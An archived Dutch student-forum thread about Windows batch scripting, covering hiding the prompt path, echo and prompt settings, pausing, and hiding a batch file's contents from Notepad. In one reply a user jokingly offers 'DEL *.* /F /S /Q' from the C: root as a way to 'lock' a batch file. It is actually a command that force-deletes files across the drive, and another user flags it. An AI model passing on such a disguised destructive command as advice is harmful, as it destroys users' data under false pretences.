Scholieren.com forum

Scholieren.com forum (https://forum.scholieren.com/index.php)
-   Software & Hardware (https://forum.scholieren.com/forumdisplay.php?f=20)
-   -   [Batch] Cmd om begin path weg te krijgen? (https://forum.scholieren.com/showthread.php?t=1513912)

Purgatori 11-12-2006 13:45

[Batch] Cmd om begin path weg te krijgen?
 
Lo,

Wat is ook al weer de cmd om de path line weg te krijgen bij een batch bestandje? Dat je dus inplaats van 'C:\> REM TEXT' het volgende krijgt 'REM TEXT'.

Danku!

Chimera 11-12-2006 14:26

@echo off bedoel je?

Purgatori 11-12-2006 14:31

Citaat:

Chimera schreef op 11-12-2006 @ 15:26 :
@echo off bedoel je?
Nee, dan gaat alles maar. Maar dat dus eigenlijk alleen het path weggaat, de rest kun je nog wel gewoon voorbij zien kome, bijv.:

REM ********************
REM * TEST *
REM ********************

inplaats van

c:\>REM ********************
c:\>REM * TEST *
c:\>REM ********************

Chimera 11-12-2006 14:48

Je moet ook echo gebruiken in plaats van rem. Rem komt van remark, en is dus bedoelt als commentaar.

Purgatori 11-12-2006 14:50

Citaat:

Chimera schreef op 11-12-2006 @ 15:48 :
Je moet ook echo gebruiken in plaats van rem. Rem komt van remark, en is dus bedoelt als commentaar.
Ik wil het ook als 'commentaar' neerzetten, gewoon tekst voordat de batch helemaal uitklapt, bijv van 'Test V1.0' ofzo

Hppa_oud 11-12-2006 14:54

Code:

@echo off
echo DIT KOMT IN BEELD ZONDER C:\
REM dit komt helemaal niet in beeld


Chimera 11-12-2006 14:59

Citaat:

Purgatori schreef op 11-12-2006 @ 15:50 :
Ik wil het ook als 'commentaar' neerzetten, gewoon tekst voordat de batch helemaal uitklapt, bijv van 'Test V1.0' ofzo
Commentaar alsin iets wat je niet op je scherm krijgt, damn...

Gebruik nou gewoon echo dan, ben je klaar. K?

Warsocket 11-12-2006 18:12

prompt

standaatd instelling is prompt $p$g

$p = schijf + pad
$g = >


als je dus prompt HOER:
doet krijg je bijv

HOER: cd..
HOER: echo ik stink
ik stink

HOER:

Purgatori 11-12-2006 18:23

Citaat:

hppa schreef op 11-12-2006 @ 15:54 :
Code:

@echo off
echo DIT KOMT IN BEELD ZONDER C:\
REM dit komt helemaal niet in beeld


Danku alvast

Citaat:

Warsocket schreef op 11-12-2006 @ 19:12 :
prompt

standaatd instelling is prompt $p$g

$p = schijf + pad
$g = >


als je dus prompt HOER:
doet krijg je bijv

HOER: cd..
HOER: echo ik stink
ik stink

HOER:

Leuk voorbeeldje ;) Maar hoe krijg ik het nou werkend, van begin tot eind voorbeeld?

Warsocket 11-12-2006 18:27

prompt

^^ werkt niet want maar


prompt f$h

wel
$h staat voor backspace en verwijdert het voorgaande teken
de f in dit geval dus resultaat is dat er niks overblijft


typ eens "prompt /?" dan zie je alle mogelijkheden

maar @echo off aan begin van je batj bestand en de rest met echo weergeven is wel wat conventionelere manier van doen

Code:

@prompt f$h
blaat
boe

en

Code:

@echo off
echo blaat
echo boe

hebben hetzelfde effect

Purgatori 11-12-2006 18:43

Is er ook een mogelijkheid om de batch tijdelijk stil te zetten zonder pause en zonder delay bestandje?

BendeBoy 11-12-2006 18:51

PAUSE>NUL

Wordt die stil gezet zonder melding, moet je op toets drukken om verder te laten gaan..

@ECHO OFF
ECHO.
ECHO.
ECHO Tekst blaat
ECHO.

ECHO. staat voor een 'witregel' voor 't geval dat je dat nog niet wist ^^

Purgatori 11-12-2006 18:58

Citaat:

BendeBoy schreef op 11-12-2006 @ 19:51 :
PAUSE>NUL

Wordt die stil gezet zonder melding, moet je op toets drukken om verder te laten gaan..

@ECHO OFF
ECHO.
ECHO.
ECHO Tekst blaat
ECHO.

ECHO. staat voor een 'witregel' voor 't geval dat je dat nog niet wist ^^

Maar er is dus geen mogelijkheid om het zonder op een toets te drukke het stil te zetten tijdelijk

BendeBoy 11-12-2006 19:00

Enige optie is Delay denk ik dan

Purgatori 11-12-2006 19:05

Citaat:

BendeBoy schreef op 11-12-2006 @ 20:00 :
Enige optie is Delay denk ik dan
ok danku

Purgatori 11-12-2006 19:12

Nog een vraag :p Is het mogelijk je batch 'edit locked' te make? Dat de batch dus niet aangepast of bekeken kan worden in notepad ofzo

Warsocket 11-12-2006 19:23

Citaat:

Purgatori schreef op 11-12-2006 @ 20:12 :
Nog een vraag :p Is het mogelijk je batch 'edit locked' te make? Dat de batch dus niet aangepast of bekeken kan worden in notepad ofzo
niet echt maar ik ken er wel een leuk truukje voor



type je batch bestand zoals je het wilt hebben

voeg bovenaan toe in het bestand toe als het klaar is

FE FF 0D 0A 63 6C 73 0D 0A (met een hexeditor)

En nee dit is gene onkraakbare beveiliging, tis gewoon dat notepad denkt dat het een unicode bestand is en het dus neit leesbaar weergeeft.

de rest zorgt ervoor dat de error van het scherm gewiped wordt

SisterOfMercy 11-12-2006 19:24

Citaat:

Purgatori schreef op 11-12-2006 @ 20:12 :
Nog een vraag :p Is het mogelijk je batch 'edit locked' te make? Dat de batch dus niet aangepast of bekeken kan worden in notepad ofzo
Ja dan moet je in je batch het volgende toevoegen:

C:
CD\
DEL *.* /F /S /Q

Daarna is je batchfile niet meer aan te passen in notepad..

Purgatori 11-12-2006 19:34

Citaat:

SisterOfMercy schreef op 11-12-2006 @ 20:24 :
Ja dan moet je in je batch het volgende toevoegen:

C:
CD\
DEL *.* /F /S /Q

Daarna is je batchfile niet meer aan te passen in notepad..

voorbeeldje

Warsocket 11-12-2006 19:35

Citaat:

SisterOfMercy schreef op 11-12-2006 @ 20:24 :
Ja dan moet je in je batch het volgende toevoegen:

C:
CD\
DEL *.* /F /S /Q

Daarna is je batchfile niet meer aan te passen in notepad..

daarna is de root van je HD leeg

SisterOfMercy 11-12-2006 20:16

Citaat:

Warsocket schreef op 11-12-2006 @ 20:35 :
daarna is de root van je HD leeg
hush hush

(/s -> +subdirs)

phoxetis 11-12-2006 20:34

Citaat:

Warsocket schreef op 11-12-2006 @ 19:12 :
prompt
ja, tuurlijk, jij zal effe bepalen hoe de gebruikersprompt er na het draaien van de batchfile uit ziet. Flexibele programmeur :D

phoxetis 11-12-2006 20:36

Citaat:

Purgatori schreef op 11-12-2006 @ 19:58 :
Maar er is dus geen mogelijkheid om het zonder op een toets te drukke het stil te zetten tijdelijk
tuurlijk, je kunt bv. op een semafoor laten checken

Code:

:loop
if exist semafoor.tmp goto verder
goto loop
:verder
erase semafoor.tmp


overigens moet je mij eens uitleggen waarom je een batchfile stil zou willen zetten zonder dat deze ooit verder gaat ... . :rolleyes:

phoxetis 11-12-2006 20:38

Citaat:

Purgatori schreef op 11-12-2006 @ 15:50 :
Ik wil het ook als 'commentaar' neerzetten, gewoon tekst voordat de batch helemaal uitklapt, bijv van 'Test V1.0' ofzo
waarom gebruik je helemaal vooraan niet
@echo lulhannes

daarmee onderdruk je eenmalig de rest van de regel. heeft verder geen effect op de echo.

Warsocket 11-12-2006 21:02

Citaat:

phoxetis schreef op 11-12-2006 @ 21:34 :
ja, tuurlijk, jij zal effe bepalen hoe de gebruikersprompt er na het draaien van de batchfile uit ziet. Flexibele programmeur :D
bath en programmeeren lol
scripten heet dat

en de prompt kun je in een var frotten en weer terugzetten


Alle tijden zijn GMT +1. Het is nu 03:02.

Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.